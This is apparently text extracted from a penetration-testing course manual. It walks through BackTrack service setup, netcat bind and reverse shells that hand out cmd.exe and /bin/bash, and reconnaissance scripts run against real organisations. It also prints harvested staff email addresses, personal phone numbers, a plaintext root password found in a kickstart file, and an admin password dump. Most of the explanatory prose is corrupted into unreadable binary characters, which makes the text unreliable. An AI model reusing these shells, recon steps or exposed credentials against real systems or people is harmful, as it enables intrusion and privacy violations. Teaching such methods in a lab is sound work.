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root@bt:~# dhclient eth0  

Listening on LPF/eth0/00:0c:29:f6:08:7a 

Sending on   LPF/eth0/00:0c:29:f6:08:7a 

Sending on   Socket/fallback 

DHCPDISCOVER on eth0 to 255.255.255.255 port 67 int erval 8 

DHCPOFFER of 192.168.1.155 from 192.168.1.254 

DHCPREQUEST of 192.168.1.155 on eth0 to 255.255.255 .255 port 67 

DHCPACK of 192.168.1.155 from 192.168.1.254 

bound to 192.168.1.155 -- renewal in 99903 seconds.  
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root@bt:~# ifconfig eth0 192.168.0.4/24  

root@bt:~# route add default gw 192.168.0.1  

root@bt:~# echo nameserver 192.168.0.200 > /etc/resolv.conf  
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root@bt:~# sshd-generate 

Generating public/private rsa1 key pair. 

Your identification has been saved in /etc/ssh/ssh_ host_key. 

. . . 

Your public key has been saved in /etc/ssh/ssh_host _key.pub. 

The key fingerprint is: 

6a:3a:81:29:57:e0:ff:91:ec:83:1a:e0:11:49:5b:24 roo t@bt 

The key's randomart image is: 

... 

Generating public/private rsa key pair. 

Your identification has been saved in /etc/ssh/ssh_ host_rsa_key. 

Your public key has been saved in /etc/ssh/ssh_host _rsa_key.pub. 

The key fingerprint is: 

2c:06:c0:74:51:09:be:44:37:1d:8f:3b:33:7c:94:eb roo t@bt 

The key's randomart image is: 

... 

Generating public/private dsa key pair. 

Your identification has been saved in /etc/ssh/ssh_ host_dsa_key. 

Your public key has been saved in /etc/ssh/ssh_host _dsa_key.pub. 

The key fingerprint is: 

2f:8c:e8:be:b5:23:6c:85:c3:71:e3:aa:c6:6c:28:d1 roo t@bt 

The key's randomart image is: 

... 

root@bt:~# / etc/init.d/ssh start  

Starting OpenBSD Secure Shell server: sshd. 

root@bt:~#            

�
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root@bt:~# netstat -antp |grep sshd  

tcp        0      0 0.0.0.0:22              0.0.0.0 :*               LISTEN      8654/sshd 

tcp6       0      0 :::22                   :::*                    LISTEN      8654/sshd 

root@bt:~#          

.���4�!��"*	�

4��� ���� �������� �*�� ����*�� ������� �%� ��
�	� �
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�� 6� 
�	# � ��������H� ��� �%�


���#
�	��*����������� ����.( ����
��1�

root@bt:~# apachectl2 start  

httpd: Could not reliably determine the server's fu lly qualified domain name, using 127.0.0.1 
for ServerName 

root@bt:~#  

+�%����"�
�	����%���������*�������������������
���* ��)++���������
�������������
�	��+��������*��)++�.�

������1�

root@bt:~# apachectl2 stop 

httpd: Could not reliably determine the server's fu lly qualified domain name, using 127.0.0.1 
for ServerName 

root@bt:~#  

9�
�	��*�� ����.( ����
���1�

root@bt:~# /etc/init.d/apache2 start 

Starting web server: apache2: Could not reliably de termine the server's fully qualified 
domain name, using 127.0.1.1 for ServerName 

root@bt:~# /etc/init.d/apache2 stop  

Stopping web server: apache2: Could not reliably de termine the server's fully qualified 
domain name, using 127.0.1.1 for ServerName 

root@bt:~#  
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root@bt:~# apt-get install pure-ftpd  

 

+*�������"
�	����*����
���A 
���#7��# B�"
�����������*��3+�������D������E1�

#!/bin/bash 

 

groupadd ftpgroup 

useradd -g ftpgroup -d /dev/null -s /etc ftpuser 

echo "[*] Setting up FTP user offsec\n" 

pure-pw useradd offsec -u ftpuser -d /ftphome 

pure-pw mkdb 

cd /etc/pure-ftpd/auth/ 

ln -s ../conf/PureDB 60pdb 

echo "[*] Setting home directory in /ftphome/\n" 

mkdir /ftphome 

chown -R ftpuser:ftpgroup /ftphome/ 

echo "[*] Starting FTP server\n" 

/etc/init.d/pure-ftpd restart 

� �
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root@bt:~# apt-get install atftpd   

root@bt:~# atftpd --daemon --port 69 /tmp  
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�	��
��������� 6��# ���	�
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root@bt:~# netstat -anup | grep atftp  

udp        0      0 0.0.0.0:69              0.0.0.0 :*                    8734/atftpd 

root@bt:~#  
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root@bt:~# apt-get install tightvncserver   

root@bt:~# vncserver 

You will require a password to access your desktops . 

Password: XXXXXXXX 

Verify:   XXXXXXXX 

Would you like to enter a view-only password (y/n)?  n 

New 'X' desktop is bt:1 

Creating default startup script /root/.vnc/xstartup  

Starting applications specified in /root/.vnc/xstar tup 

Log file is /root/.vnc/bt5:1.log 

 

root@bt:~# netstat -antp |grep vnc  

tcp        0      0 0.0.0.0:5901         0.0.0.0:*        LISTEN      9287/Xtightvnc 

tcp        0      0 0.0.0.0:6001         0.0.0.0:*        LISTEN      9287/Xtightvnc 

root@bt:~#  
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root@bt:~# dmesg |grep ^eth  

eth0: registered as PCnet/PCI II 79C970A 

eth0: link up 

eth0: no IPv6 routers present 

root@bt:~#  
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root@bt:~# wget http://www.offsec.com/pwbonline/icq.html -O ic q.txt -o /dev/null 

root@bt:~# ls -l icq.txt 

-rw-r--r-- 1 root root 54032 Oct 17 14:12 icq.txt 

root@bt:~#  

A. 56�������*���
���������
�
�	��*�����
�	� �
��9 H�
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�	��*����*
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��������
������)++���
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root@bt:~# grep 'href=' icq.txt 

+*
��
����
���������H�����%��K���	���
�	����������� �%�
����D	���E��
������#���
#���*
�1�

<a href="http://company.icq.com/info/advertise.html " class="fLink"> 

E. ���%������
���*
���
�����
�	���&����
�
���H��*���*
 ����
�����*����������
���*���������������

root@bt:~# grep 'href=' icq.txt | cut -d"/" -f3 
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�� �*����� 	
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��� ��� 
�;����� ��������� ��� %��� ���#� ������%� ��� �*�� ������H�%��� "
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����*�����������*�
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����������
�������*���1�

'+link2+'" target="_blank"><img src="http: 
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��H���� ������������
���������
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root@bt:~# grep 'href=' icq.txt | cut -d"/" -f3 |grep icq.com |sort -u  

blogs.icq.com 

c.icq.com 

chat.icq.com 

company.icq.com 

download.icq.com 

gallery.icq.com 

games.icq.com 

greetings.icq.com 
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groups.icq.com 

people.icq.com 

search.icq.com 

www.icq.com 

root@bt:~#  

����� �*��� �*
�� ���*��� ��� �6�����
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root@bt:enumeration/list-urls# ./list- urls.py http://www.offsec.com/pwbonline/icq.html |c ut 
-d"/" -f1-3 |sort -u  

... 

http://chat.icq.com 

http://company.icq.com 

http://download.icq.com 

http://gallery.icq.com 

http://games.icq.com 

http://greetings.icq.com 

http://groups.icq.com 

http://icq.abv.bg 

http://icq.bigmir.net 

http://icq.centrum.sk 

http://icq.walla.co.il 

http://icq.yandex.ru 

http://people.icq.com 

http://search.icq.com 

http://www.icq.com 

http://www.icqmail.com 
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http://www.n24.de 

http://www.prosieben.de 

http://www.sat1.de 

http://www.yelem.org.il 

https://www.icq.com 

root@bt:/pentest/enumeration/list-urls# 

:.  ��"� �*���%��� *���� �*�� ����%� ;���
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�	����
��������)����
�������������H��*
�����#�

�����������
���������#����������*�� �	
� ����������������*�3G.����������������%��������
�	�� *��

��������
���
��������6���
��1��

root@bt:~# grep 'href=' icq.txt | cut -d"/" -f3 |grep icq.com |sort -u > icq-srv.txt 

root@bt:~#  

I.  4��� ���� ��"�"�
��� �� �*���� ���
��� �*��� ������ 
�;@��� ��6�� ���� �6������� �*��*���� �������� ���� ���*�

�
����9���%���������
�����6����
�������"�
����*
��� ��
��� ���(��3.
� 1�

#!/bin/bash 

for hostname in $(cat icq-srv.txt);do 

host $hostname 

done 

<. .��K�����	��������#���*
�����
����6���������������� ����
�	�
�1�

root@bt:~# chmod 755 findicq.sh  

root@bt:~# ./findicq.sh  

blogs.icq.com is an alias for www.gwww.icq.com. 

www.gwww.icq.com has address 64.12.164.247 

c.icq.com is an alias for c.icq.com.edgesuite.net. 

c.icq.com.edgesuite.net is an alias for a949.g.akam ai.net. 

a949.g.akamai.net has address 206.132.192.246 

a949.g.akamai.net has address 206.132.192.207 

chat.icq.com is an alias for www.gwww.icq.com. 
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www.gwww.icq.com has address 64.12.164.247 

company.icq.com is an alias for redirect.icq.com. 

redirect.icq.com is an alias for redirect.gredirect .icq.com. 

... 

people.icq.com is an alias for www.gwww.icq.com. 

www.gwww.icq.com has address 64.12.164.247 

search.icq.com is an alias for search.gsearch.icq.c om. 

search.gsearch.icq.com has address 205.188.248.34 

www.icq.com is an alias for www.gwww.icq.com. 

www.gwww.icq.com has address 64.12.164.247 

root@bt:~#   

4��H��*���������
����������4�����������
��������*�� ���
�������%������#�����*��������H�%���"
��������*� ��

���������*��������������
����������*��������1�

greetings.icq.com is an alias for www.gwww.icq.com.  

4�������
����������
���
�����
�
��������*
�1�

www.icq.com has address 64.12.164.247 

;.  3
����������*���
�����*��������
���*�����
�	� ��
��((
�

 1�

#!/bin/bash 

for hostname in $(cat icq-srv.txt);do 

host $hostname |grep "has address" 

done 

<����%��������*�����
����	�
�H��*������������#����� *�������1�

root@bt:~# ./findicq.sh  

www.gwww.icq.com has address 205.188.251.118 

a949.g.akamai.net has address 206.132.192.207 

a949.g.akamai.net has address 206.132.192.246 

www.gwww.icq.com has address 205.188.251.118 
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redirect.gredirect.icq.com has address 205.188.251. 120 

… 

a1442.g.akamai.net has address 206.132.192.240 

www.gwww.icq.com has address 205.188.251.118 

www.gwww.icq.com has address 205.188.251.118 

www.gwww.icq.com has address 205.188.251.118 

search.gsearch.icq.com has address 205.188.248.34 

www.gwww.icq.com has address 205.188.251.118 

root@bt:~#  

DC. +*���
�������#�
���*
���6���
���
�����	����*������� ������������*�����������H��	�
�H��%���
�	����*���6� �

���
�����
��1�

root@bt:~# ./findicq.sh > icq-ips.txt 

root@bt:~# cat icq-ips.txt |cut -d" " -f4 |sort -u  

205.188.100.82 

205.188.251.118 

206.132.192.207 

206.132.192.231 

206.132.192.240 

206.132.192.246 

64.12.164.120 

64.12.164.92 

root@bt:~#  

.���4�!����������+	����"	��

·  *���1&&"""��
��6����
	���	&���*U���
��
�	U+����
�� �

·  *���1&&�������	&)<�+<&���*@���	@�����@)<�+<�*��� �
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<����
�"�

������� 
�� �� "���������%� ������
��� ����� �*��� *��� ��� �� ������� �*�� D*��#���K� �"
��� ���%� #�
���E� +*��

�
������� ���
�
�
��� ��� ������� 
�� V�� ����� �*��� ���� � ���� ���� "�
��� ��� + �� ���� 9.�� ������V� +*
�� �����

�����
����
�%���		������*���������������
���"������ �1���
��������������������*
������������������%���
 ���

���%��H�������������������#	�������������*�����*
�� �������������"��"
��������
�	�
�����%��������

.�4�.�����	"�������������':,�������#��*� 	�"���

 ������
�	������+ �&9.���������������������
������� ����
����
���1��

�  +���*��#�
���������
�����������������

�  +����������������������*�������

�  +������������������"��#�����
����������%�

���������#���
������
�������������K�����������
���� ��
���1�

root@bt:~# nc -h  

[v1.10-38] 

connect to somewhere:   nc [-options] hostname port [s] [ports] ... 

listen for inbound:     nc -l -p port [-options] [h ostname] [port] 

options: 

        -c shell commands       as `-e'; use /bin/s h to exec [dangerous!!] 

        -e filename             program to exec aft er connect [dangerous!!] 

        -b                      allow broadcasts 

        -g gateway              source-routing hop point[s], up to 8 

        -G num                  source-routing poin ter: 4, 8, 12, ... 

        -h                      this cruft 

        -i secs                 delay interval for lines sent, ports scanned 

        -k                      set keepalive optio n on socket 
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        -l                      listen mode, for in bound connects 

        -n                      numeric-only IP add resses, no DNS 

        -o file                 hex dump of traffic  

        -p port                 local port number 

        -r                      randomize local and  remote ports 

        -q secs                 quit after EOF on s tdin and delay of secs 

        -s addr                 local source addres s 

        -T tos                  set Type Of Service  

        -t                      answer TELNET negot iation 

        -u                      UDP mode 

        -v                      verbose [use twice to be more verbose] 

        -w secs                 timeout for connect s and final net reads 

        -z                      zero-I/O mode [used  for scanning] 

port numbers can be individual or ranges: lo-hi [in clusive]; 

hyphens in port names must be backslash escaped (e. g. 'ftp\-data'). 

root@bt:~# 

D. +�������������+ ��������
����
,��
�(�,���7��������� ������
�H���%��*�������"
�	1�

root@bt:~# nc -vn 192.168.9.220 21  

(UNKNOWN) [192.168.9.220] 21 (ftp) open 

220-GuildFTPd FTP Server (c) 1997-2002 

220-Version 0.999.14 

220-Thanks! 

220 Please enter your name: 

����� �*��� ����� �
� 
�� ����� ���� ������
���� �*��3+�� �� ����� AAC7"���(��+(� ��+� ��
��
� ,�-�D;;I7ACCA ��

������ ���X �����6
����������

� �



�

8!�

�

A. +������������������ (7����
,��
�(�,��87H���������)++ ��)5�.� ��;����H����� ������*��)++���������

������H���%��*�������"
�	1�

root@bt:~# nc -vn 192.168.9.240 80 

(UNKNOWN) [192.168.9.240] 80 (www) open 

HEAD / HTTP/1.0 

 

HTTP/1.1 200 OK 

Date: Sat, 17 Oct 2009 05:53:08 GMT 

Server: Apache/2.2.3 (CentOS) 

Last-Modified: Sat, 11 Oct 2008 12:44:50 GMT 

ETag: "78457-b8-a1b5f480" 

Accept-Ranges: bytes 

Content-Length: 184 

Connection: close 

Content-Type: text/html; charset=UTF-8 

 

root@bt:~#   
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�
����
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�	� ��
���� ����
���
���� ���

��*��"
��� ����
�
�	� �� + �&9.�� ���"��#� �������
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�	� �� �
����� �*��� ��
�	� ��������

���������#����������%���������������������A�
���
�� 
,��
�(�(�!8B�


�  +���
�������������8888������������
����
�	��������
 ���H��%��1�

�	�#���
�D �A���������������@�
,��
�(�(�!8B�

root@bt:~# nc -lvp 4444 

listening on [any] 4444 ... 

��  3�������
�����������������A��"
��������
�	��������
 ���"�����*
��BH�����������������8888����%����

���������*
��1�

�	�#���
�A �A�
���"����6�@�
,��
�(�,�
2(B�

C:\> nc -v 192.168.8.74 4444  

192.168.8.74: inverse host lookup failed: h_errno 1 1004: NO_DATA 

(UNKNOWN) [192.168.8.74] 4444 (?) open 

HI, HOW ARE YOU! 

fine thanks, you? 

I'M DOING GREAT! 

� �
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������� ���� ����� ��� ����� ��� ��������� �
���H� ���*� ��6 �� ���� �
���%H� ����� ���� ��������� ��� ����*���� �+��

��������
�������� ������������� ��������
H���%��*�� �����"
�	1�

�	�#���
�D 1�������������������
��������������������*��������� 
�������������
�������%�
�����
�������
����

root@bt:~# nc -lvp 4444 > output.txt 

listening on [any] 4444 ... 

�	�#���
�A 1� �����������*���
����
�	��������������������
�A�� ���8888B�����������*���
��1�

C:\> echo "Hi! This is a text file!" > test.txt  

C:\> type test.txt  

"Hi! This is a text file!" 

C:\> nc -vv 192.168.8.74 4444 < test.txt  

192.168.8.74: inverse host lookup failed: h_errno 1 1004: NO_DATA 

(UNKNOWN) [192.168.8.74] 4444 (?) open 

��������������������K��	
�����%�
��
���
�������
��� ������������	����H�"�
����������"��������������*���

������ ���X �����6
����������

<�� �	�#���
�D� %����*��������1�

root@bt:~# nc -lvp 4444 > output.txt  

listening on [any] 4444 ... 

192.168.9.158: inverse host lookup failed: Unknown server error : Connection timed out 

connect to [192.168.8.74] from (UNKNOWN) [192.168.9 .158] 1027 

^C root@bt:~#  

��"��*��#��*����*���
���"�����������������������%1�
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�D�

root@bt:~# file output.txt  

output.txt: ASCII text, with CRLF line terminators 

root@bt:~# cat output.txt  

"Hi! This is a text file!" 

root@bt:~#  
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!	%J
���������

C:\> nc -lvvp 4444 -e cmd.exe  

listening on [any] 4444 ... 

��%���� �������
�	� ��� ����� 8888� ��� ���K�� ���*
��� A*� ������%� ��
��B� "
��� ��� ���������� "
�*� ���K��

��������������H�"
�*��*�����������
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�����*��� �� �"�������"
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root@bt:~# ifconfig tap0 

tap0      Link encap:Ethernet  HWaddr a6:0c:0b:77:e 8:45 

          inet addr: 192.168.8.74   Bcast:192.168.9.255  Mask:255.255.254.0 

          ... 

 

root@bt:~# nc -vvn 192.168.9.158 4444  

(UNKNOWN) [192.168.9.158] 4444 (?) open 

Microsoft Windows XP [Version 5.1.2600] 

(C) Copyright 1985-2001 Microsoft Corp. 

 

C:\> ipconfig  

ipconfig 

Windows IP Configuration 

Ethernet adapter offsec: 

        Connection-specific DNS Suffix  . : 

        IP Address. . . . . . . . . . . . : 192.168.9.158  

        Subnet Mask . . . . . . . . . . . : 255.255 .254.0 

        Default Gateway . . . . . . . . . : 

C:\> 

�
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�	� ������� �������� 
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�
�%�� �� ����� �� �������� �*���� ��� �� �
����
�	�*����� ��� �*
� �

�
����
��H� ���*��	*� ��
��� ������� �
��� �� ����� ��� ��� ��6�� ������%� ��� *��� ��������� ���� �6����� ���� ���

�������H��*�����������*������������������������K��� ��*
����

!	%J
���������

C:\> nc -lvvp 4444  

listening on [any] 4444 ... 

 ����J
���������

root@bt:~# nc -nv 192.168.9.158 4444 -e /bin/bash  

(UNKNOWN) [192.168.9.158] 4444 (?) open 

 

!	%J
�������������
������	������	��

C:\> nc -lvvp 4444  

listening on [any] 4444 ... 

connect to [192.168.9.158] from (UNKNOWN) [192.168. 8.74] 58630: NO_DATA 

/sbin/ifconfig 

... 

tap0      Link encap:Ethernet  HWaddr a6:0c:0b:77:e 8:45 

          inet addr:192.168.8.74  Bcast:192.168.9.2 55  Mask:255.255.254.0  

          inet6 addr: fe80::a40c:bff:fe77:e845/64 S cope:Link 

          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1 

          RX packets:6831 errors:0 dropped:0 overru ns:0 frame:0 

          TX packets:6257 errors:0 dropped:0 overru ns:0 carrier:0 
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          collisions:0 txqueuelen:100 

          RX bytes:1003013 (1.0 MB)  TX bytes:74960 7 (749.6 KB) 
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Hi I'm looking for rare stamps (for sale or trade) from the 50's.  

Please contact me at: 

mail: david@hiscompany.com. 

Cell: 072-776223 
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# Kickstart file automatically generated by anacond a rootpw filetype:cfg 
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# Kickstart file automatically generated by anacond a. 

 

install 

lang en_US 

langsupport --default en_US.iso885915 zh_CN.GB18030  zh_TW.Big5 en_US.iso885915 
ja_JP.eucJP ko_KR.eucKR 

keyboard us 

mouse msintellips/2 --device psaux 

xconfig --card "VESA driver (generic)" --videoram 1 6384 --hsync 31.5-48.5 --vsync 
50-70 --resolution 1024x768 --depth 32 --startxonbo ot  

network --device eth0 --bootproto dhcp 

rootpw --iscrypted $1$qpXuEpyZ$Kj3646rMCQW7SvxrWcmq 8. 

# The actual root password for this kickstart is g0 9u5jhlegp90u3;oiuar98ut43t 

firewall --disabled 
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authconfig --enableshadow --enablemd5 

timezone America/New_York 

bootloader --append hdc=ide-scsi 

# The following is the partition information you re quested 

# Note that any partitions you deleted are not expr essed 

# here so unless you clear all partitions first, th is is 

# not guaranteed to work 

#part /boot --fstype ext3 --size=50 --ondisk=hda 

#part / --fstype ext3 --size=1100 --grow --ondisk=h da 

#part swap --size=240 --grow --maxsize=480 --ondisk =hda 

 

%packages 

@ Printing Support 

@ Classic X Window System 

@ X Window System 

@ Laptop Support 

@ GNOME 

@ KDE 

@ Sound and Multimedia Support 

@ Network Support 

@ Dialup Support 

@ Messaging and Web Tools 

@ Software Development 

@ Games and Entertainment 

@ Workstation Common 

xbill 

balsa 

kuickshow 

... 
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cdrecord-devel 

mozilla-nspr-devel 

 

%post 
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rootpw --iscrypted $1$qpXuEpyZ$Kj3646rMCQW7SvxrWcmq 8. 
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mysql dump filetype:sql 

+*
�� �����*� �������� ���� �*�� �6������ /%�G�� ���#���� � *��� *���� ����� ���F������ ��� :��	��H� ���� ������

�*���� ������ �����
��F�
�%�
�������
��� �
#�� �������� �H� ����"����H� ���
��H� ����
�� ����� �������H� ����

�*���
#���+*
��
�������
�����%�F��������*��*������% �����������	�
�������������*��������&���"��#��

# MySQL dump 8.14 

# 

# Host: localhost    Database: XXXXXXXXXXXX 

#-------------------------------------------------- ------ 

# Server version        3.23.38 

# 

# Table structure for table 'admin_passwords' 

# 

CREATE TABLE admin_passwords ( 

  name varchar(50) NOT NULL default '', 

  password varchar(12) NOT NULL default '', 

  logged_in enum('N','Y') default 'N', 

  active enum('N','Y') default 'N', 

  session_ID int(11) default NULL, 

  PRIMARY KEY  (name) 

) TYPE=MyISAM; 

# 

# Dumping data for table 'admin_passwords' 

# 

INSERT INTO admin_passwords VALUES ('umpire','ump_p ass','N','N',NULL); 

INSERT INTO admin_passwords VALUES ('monitor','moni tor','N','N',NULL); 
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root@bt:~# cd /pentest/enumeration/google/goog-mail 

root@bt:goog-mail# ./goog-mail.py -d aeoi.org.ir -l 20 -b google 

************************************* 

*TheHarvester Ver. 1.4b             * 

*Coded by Christian Martorella      * 

*Edge-Security Research             * 

*cmartorella@edge-security.com      * 

************************************* 

Searching for aeoi.org.ir in google : 

====================================== 

Total results:  167000 
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Limit:  20 

Searching results: 0 

 

Accounts found: 

==================== 

webmaster@aeoi.org.ir 

rd@aeoi.org.ir 

farkian@aeoi.org.ir 

hkazemian@aeoi.org.ir 

hnoshad@aeoi.org.ir 

... 

rhadian@aeoi.org.ir 

hmiranmanesh@aeoi.org.ir 

anovin@aeoi.org.ir 

mmallah@aeoi.org.ir 

vahmadi@aeoi.org.ir 

msalahinejad@aeoi.org.ir 

@aeoi.org.ir 

mgandomkar@aeoi.org.ir 

==================== 

 

Total results:  43 

root@bt:/pentest/enumeration/google/goog-mail# 
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Company Headquarters: 

#111, Incubator Center, Science and Technology Park  of Tehran University,  

16th Street of North Amir Abad Ave., Tehran, Iran, 

Tel-Fax: +98-21-88334707 

mobile:+ 98-912-3465155 

e-mail: hkazemian@yahoo.com , hosseinkazemian@gmail .com, info@spag-co.com 

http://www.geocities.com/hkazemian , http://www.spa g-co.com 
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root@bt:~# whois 

Usage: whois [OPTION]... OBJECT... 

-l                     one level less specific look up [RPSL only] 

-L                     find all Less specific match es 

-m                     find first level more specif ic matches 

-M                     find all More specific match es 

-c                     find the smallest match cont aining a mnt-irt attribute 

-x                     exact match [RPSL only] 

-d                     return DNS reverse delegatio n objects too [RPSL only] 

-i ATTR[,ATTR]...      do an inverse lookup for spe cified ATTRibutes 

-T TYPE[,TYPE]...      only look for objects of TYP E 

-K                     only primary keys are return ed [RPSL only] 

-r                     turn off recursive lookups f or contact information 

-R                     force to show local copy of the domain object even 

                       if it contains referral 

-a                     search all databases 

-s SOURCE[,SOURCE]...  search the database from SOU RCE 

-g SOURCE:FIRST-LAST   find updates from SOURCE fro m serial FIRST to LAST 

-t TYPE                request template for object of TYPE ('all' for a list) 

-v TYPE                request verbose template for  object of TYPE 

-q [version|sources|types]  query specified server info [RPSL only] 

-F                     fast raw output (implies -r)  

-h HOST                connect to server HOST 

-p PORT                connect to PORT 
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root@bt:~# whois checkpoint.com  

Whois Server Version 2.0 

Domain names in the .com and .net domains can now b e registered 

with many different competing registrars. Go to htt p://www.internic.net 

for detailed information. 

   Server Name: CHECKPOINT.COM 

   IP Address: 216.200.241.66 

   Registrar: NETWORK SOLUTIONS, LLC. 

   Whois Server: whois.networksolutions.com 

   Referral URL: http://www.networksolutions.com 

 

   Domain Name: CHECKPOINT.COM 

   Registrar: NETWORK SOLUTIONS, LLC. 

   Whois Server: whois.networksolutions.com 

   Referral URL: http://www.networksolutions.com 

   Name Server: NS6.CHECKPOINT.COM 

   Name Server: NS8.CHECKPOINT.COM 

   Status: clientTransferProhibited 

   Updated Date: 22-dec-2006 

   Creation Date: 29-mar-1994 

   Expiration Date: 30-mar-2012  

>>> Last update of whois database: Mon, 08 Mar 2010  17:45:11 UTC <<< 

... 

Registrant: 

-H                     hide legal disclaimers 

      --verbose        explain what is being done 

      --help           display this help and exit 

      --version        output version information a nd exit 

root@bt:~#  
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Check Point Software Technologies Ltd. 

   3A Jabotinsky St. 

   Ramat-Gan 52520 

   ISRAEL 

   Domain Name: CHECKPOINT.COM 

   ------------------------------------------------ ------------------------ 

      Administrative Contact, Technical Contact: 

      Wilf, Gonen               hostmaster@CHECKPOI NT.COM 

      Check Point Software Technologies Ltd. 

      3A Jabotinsky St. 

      Ramat-Gan, 52520 

      IL 

      +972-3-7534555 fax: +972-3-5759256 

   Record expires on 30-Mar-2012. 

   Record created on 29-Mar-1994. 

   Database last updated on 8-Mar-2010 12:35:44 EST . 

   Domain servers in listed order: 

   NS6.CHECKPOINT.COM           194.29.32.199 

   NS8.CHECKPOINT.COM           216.228.148.29 

 

�

4��K�������
�����*�������"
�	�
�������
���������*�� ��	
�����������������

�  -�	
�����1����"��#������
���H��� ��

�  �*�
��������1�"*�
�����"��#�����
��������

�  ������������1����� )5 $�<��+� </H���(� )5 $�<��+� < /�

�  56�
���
�������1�07@/��@�7
��

�  -�	
������1� *��#���
�������"����+��*����	
��������



�

(8�

�

�  �������1�0��>����
��#%����H�-����@:���2�2�7H���-�5� �

�  ����������1��
���77��8
����

�  -�	
�����1��5+�<-$��<�9+�<��H��� ��

�  .���
������1� )5 $�<��+� </�

�  ���
�
�����
��� ������H�+��*�
���� ������1�

�  �
��H�:�����@�	����"Y )5 $�<��+� </�

�   *��#���
�������"����+��*����	
��������

�  +����*����������1�X,!�@0@!208222��

�  3�6�������1�X,!�@0@2!2,�2��

�

��������*
��
�������
����������������������
�����*� �
�������
���	��*��
�	��������������������������
�� �

��	
����
�	������#�AD)
��*
��
��:����L��������%���� ���������%�����"������K������*���
�����H�����*����� ��

�*��#��%����������
�����EB��

�*�
������������������� �����������#�����-��*��� �*�� �
�����
�	�������
������H�%�������
�����������

��������� +*�� �*�
�� ������� "
��� ������%� 
������� �*�� "*���� ���"��#� ���	�� �*��� �����	�� ��� �*��

��	��
?��
����

root@bt:~# whois 216.200.241.66  

Abovenet Communications, Inc ABOVENET-5 (NET-216-20 0-0-0-1) 

                                  216.200.0.0 - 216 .200.255.255 

CHECKPOINT SOFTWARE MFN-B655-216-200-241-64-28 (NET -216-200-241-64-1) 

                                  216.200.241.64 - 216.200.241.79 

 

# ARIN WHOIS database, last updated 2010-03-07 20:0 0 

# Enter ? for additional hints on searching ARIN's WHOIS database. 
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# 

# ARIN WHOIS data and services are subject to the T erms of Use 

# available at https://www.arin.net/whois_tou.html 
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�$�/�(�5�7�$�/�(�5�7�$�/�(�5�7�$�/�(�5�7! – DO NOT EXTEND THIS EXCERCISE BY SCANNING OR PERFORMING ANY 

ILLEGAL OPERATIONS ON THE ORGANIZATION CHOSEN. STICK TO THE EXCERCISE! 
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root@bt:~# nslookup 

> www.checkpoint.com 

Server:         24.224.127.143 

Address:        24.224.127.143#53 

 

Non-authoritative answer: 

Name:   www.checkpoint.com 

Address: 216.200.241.66 

> 
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> set type=mx  

> checkpoint.com  

Server:         24.224.127.143 

Address:        24.224.127.143#53 

Non-authoritative answer: 

checkpoint.com  mail exchanger = 12 cale.checkpoint .com. 

checkpoint.com  mail exchanger = 15 usmail-as.zonel abs.com. 

Authoritative answers can be found from: 

checkpoint.com  nameserver = ns8.checkpoint.com. 

checkpoint.com  nameserver = ns6.checkpoint.com. 

cale.checkpoint.com     internet address = 194.29.3 2.199 

ns6.checkpoint.com      internet address = 194.29.3 2.199 

ns8.checkpoint.com      internet address = 216.228. 148.29 

> 
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> set type=ns  

> checkpoint.com  

Server:         24.224.127.143 

Address:        24.224.127.143#53 

Non-authoritative answer: 

checkpoint.com  nameserver = ns8.checkpoint.com. 

checkpoint.com  nameserver = ns6.checkpoint.com. 

Authoritative answers can be found from: 

ns6.checkpoint.com      internet address = 194.29.3 2.199 

ns8.checkpoint.com      internet address = 216.228. 148.29  
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root@bt:~# host www.checkpoint.com 

www.checkpoint.com has address 216.200.241.66 

root@bt:~# host idontexist.checkpoint.com  

Host idontexist.checkpoint.com not found: 3(NXDOMAI N) 

root@bt:~#  
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www 

www2 

firewall 

cisco 

checkpoint 

smtp 

pop3 

proxy 

dns 

... 
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#!/bin/bash 

for name in $(cat dns-names.txt);do 

host $name.checkpoint.com 

done 

+*�������������*
�����
���
����"�������������
��%�� �����1�

root@bt:~# ./dodns.sh 

www.checkpoint.com has address 216.200.241.66 

Host www1.checkpoint.com not found: 3(NXDOMAIN) 

www2.checkpoint.com is an alias for www.checkpoint. com. 

www.checkpoint.com has address 216.200.241.66 

Host firewall.checkpoint.com not found: 3(NXDOMAIN)  

Host cisco.checkpoint.com not found: 3(NXDOMAIN) 

Host checkpoint.checkpoint.com not found: 3(NXDOMAI N) 

smtp.checkpoint.com is an alias for michael.checkpo int.com. 

michael.checkpoint.com has address 194.29.32.68 

pop3.checkpoint.com is an alias for michael.checkpo int.com. 

michael.checkpoint.com has address 194.29.32.68 

Host proxy.checkpoint.com not found: 3(NXDOMAIN) 

Host dns.checkpoint.com not found: 3(NXDOMAIN) 

Host dns1.checkpoint.com not found: 3(NXDOMAIN) 

ns.checkpoint.com has address 194.29.32.199 

root@bt:~#  
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#!/bin/bash 

for name in $(cat dns-names.txt);do 

host $name.checkpoint.com |grep “has address” 

done 

+*�������������*
�����
������#�����*�������������*� "�����%�*����������*���*�����������������1�

root@bt:~# ./dodns.sh  

www.checkpoint.com has address 216.200.241.66 

www.checkpoint.com has address 216.200.241.66 

michael.checkpoint.com has address 194.29.32.68 

ns.checkpoint.com has address 194.29.32.199 

root@bt:~#  

+�� 	��� �� ������ �
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#!/bin/bash 

for name in $(cat dns-names.txt);do 

host $name.checkpoint.com |grep “has address”|cut - d" " -f4 

done 

+*���������
����"��
�
����������
������������������ 1�

root@bt:~# ./dodns.sh 

216.200.241.66 

... 

194.29.32.68 

194.29.32.68 

root@bt:~#     
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root@bt:~# whois 194.29.32.199  

... 

 

% Information related to '194.29.32.0 - 194.29.47.2 55' 

 

inetnum:        194.29.32.0 - 194.29.47.255 

netname:        CHECKPOINT 

descr:          Checkpoint Software Technologies 

country:        IL 

... 

% Information related to '194.29.32.0/20AS25046' 

route:          194.29.32.0/20 

descr:          Check Point Software Technologies L TD. 

origin:         AS25046 

mnt-by:         NV-MNT-RIPE 

source:         RIPE # Filtered 
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root@bt:~# host 216.200.241.66 

66.241.200.216.in-addr.arpa domain name pointer www .checkpoint.com. 

root@bt:~#          
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#!/bin/bash 

echo "Please enter Class C IP network range:" 

echo "eg: 194.29.32" 

read range 

for ip in `seq 1 254`;do 

host $range.$ip |grep "name pointer" |cut -d" " -f5  

done 
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root@bt:~# ./dodnsr.sh 

Please enter Class C IP network range: 

eg: 194.29.32 

194.29.32 

dyn32-1.checkpoint.com. 

dyn32-2.checkpoint.com. 

dyn32-3.checkpoint.com. 

... 

michael.checkpoint.com. 

cpi-stg.checkpoint.com. 

mustang-il.checkpoint.com. 

cpi-stg.checkpoint.com. 

